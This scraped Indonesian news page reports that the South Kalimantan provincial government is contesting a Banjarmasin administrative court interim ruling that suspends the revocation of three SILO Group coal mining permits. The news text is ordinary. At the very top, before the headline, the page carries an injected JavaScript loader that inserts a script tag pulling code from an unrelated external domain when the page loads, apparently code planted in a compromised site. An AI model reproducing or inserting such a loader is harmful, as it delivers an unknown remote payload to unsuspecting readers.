(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Haris Makkie : Pemprov Lawan Secara Hukum Putusan Sela PTUN


BANJARMASIN, Putusan sela PTUN Banjarmasin yang meminta Gubernur Kalsel Sahbirin Noor menunda pemberlakuan tiga SK pencabutan IUP Sebuku Group dalam sidang Kamis (19/4), tak membuat pemprov menyerah. Malam usai sidang digelar, Sekdaprov Kalsel Abdul Haris Makkie, kuasa hukum Pemprov Andi Muhammad Nasrun bersama Kepala Biro Hukum Pemprov Ahmad Fedayeen, langsung menggelar konferensi pers pada pukul 23.00 Wita di Hotel Golden Tulip, Banjarmasin.

Haris Makkie menegaskan, pemprov tegas melawan secara hukum putusan tersebut. Dia mengatakan, Pemprov Kalsel akan mengajukan bukti-bukti tambahan untuk memperkuat dasar hukum pencabutan tiga izin tersebut.

“Soal detailnya seperti apa tindakan selanjutnya, kita tunggu salinan putusan yang akan diserahkan kepada Pemprov Kalsel,” kata Haris Makkie.

Dia juga mengatakan tidak ada kalah-menang dalam putusan sela PTUN Banjarmasin karena belum ada vonis berkekuatan hukum tetap. Pun demikian dengan Andi M Nasrun yang mengaku kecewa terhadap putusan majelis hakim.

Nasrun menyoal hakim mendasarkan alasan pada bukti yang disampaikan penggugat. Ia protes kenapa hakim tidak mempertimbangkan bukti dari tergugat. ”Seharusnya kalau memang mau mendengarkan kedua belah pihak. Maka bukti kami juga harus dipertimbangkan,” katanya.

Ia menyinggung sikap majelis hakim yang tak pernah mengakomodir keberatan dari tergugat ketika sidang kedua dan ketiga. Nasrun memastikan akan melakukan perlawanan terhadap putusan hakim karena tidak adil.  “Reaksi dari majelis hakim ternyata tak memberikan komentar sedikitpun. Termasuk pada saat sidang yang ketiga juga sama sikap hakim,” kata Nasrun.

Menurut Nasrun, Pemprov Kalsel belum kalah karena masih ada proses pembuktian pada sidang lanjutan berikutrnya. “Kami siap melakukan sidang hingga jam 10 malam, demi menuntaskan kasus ini,” katanya.

Ia berkeyaninan gugatan SILO Group tak memiliki dasar hukum. Apalagi, kuasa hukum PT SILO Yusril Ihza Mahendra, bermasalah karena tak punya legalitas sebagai advokat karier. Ia akan menagih respons hakim atas legalitas Yusril Ihza Mahendra.  “Masih belum ada putusan dari majelis hakim. Akan kita tagih dan pertanyakan legalitas Yusril tersebut,” cetus Andi.

Seperti diberitakan, mejelis hakim PTUN memerintahkan Gubenur Kalsel selaku tergugat untuk menunda pelaksanaan keputusan pencabutan terhadap tigaIUP operasi produksi batu bara milik tiga anak usaha SILO Group di Pulau Laut, Kabupaten Kotabaru.

“Dengan demikian, secara normatif permintaan ini harus dilaksanakan oleh pihak tergugat. Jadi putusan yang tengah digugat ini ditunda pelaksanaannya. Sampai ada keputusan yang sebaliknya,” kata humas PTUN Banjarmasin, Febby.

Majelis hakim PTUN Banjarmasin yang terdiri atas ketua Daprian, hakim anggota Rory Yonaldi dan Lizamul Umum, meminta semua pihak menghormati penetapan yang diambil PTUN Banjarmasin. PTUN Banjarmasin menyidangkan nomor perkara 4/G/2018/PTUN.Bjm, 5/G/2018/PTUN.Bjm, dan 6/G/2018/PTUN.Bjm dengan objek gugatan SK Gubernur No: 503/119/DPMPTSP/2018, SK Gubernur Nomor 503/120/DPMPTSP/2018, dan SK Gubernur Nomor 503/121/DPMPTSP/2018, yang diteken pada 26 Januari 2018.

Lewat penetapan ini, tiga SK pencabutan IUP terhadap PT Sebuku Batubai Coal, PT Sebuku Tanjung Coal, dan PT Sebuku Sejaka Coal, tidak bisa dilakukan sampai ada putusan pengadilan yang bersifat final dan mengikat. Alhasil, ketiga anak usaha SILO Group itu, sementara bisa beraktivitas kembali mengeruk potensi batu bara di Pulau Laut, Kabupaten Kotabatu. (ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

22 menit ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

38 menit ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

57 menit ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

1 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

1 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

1 jam ago

This website uses cookies.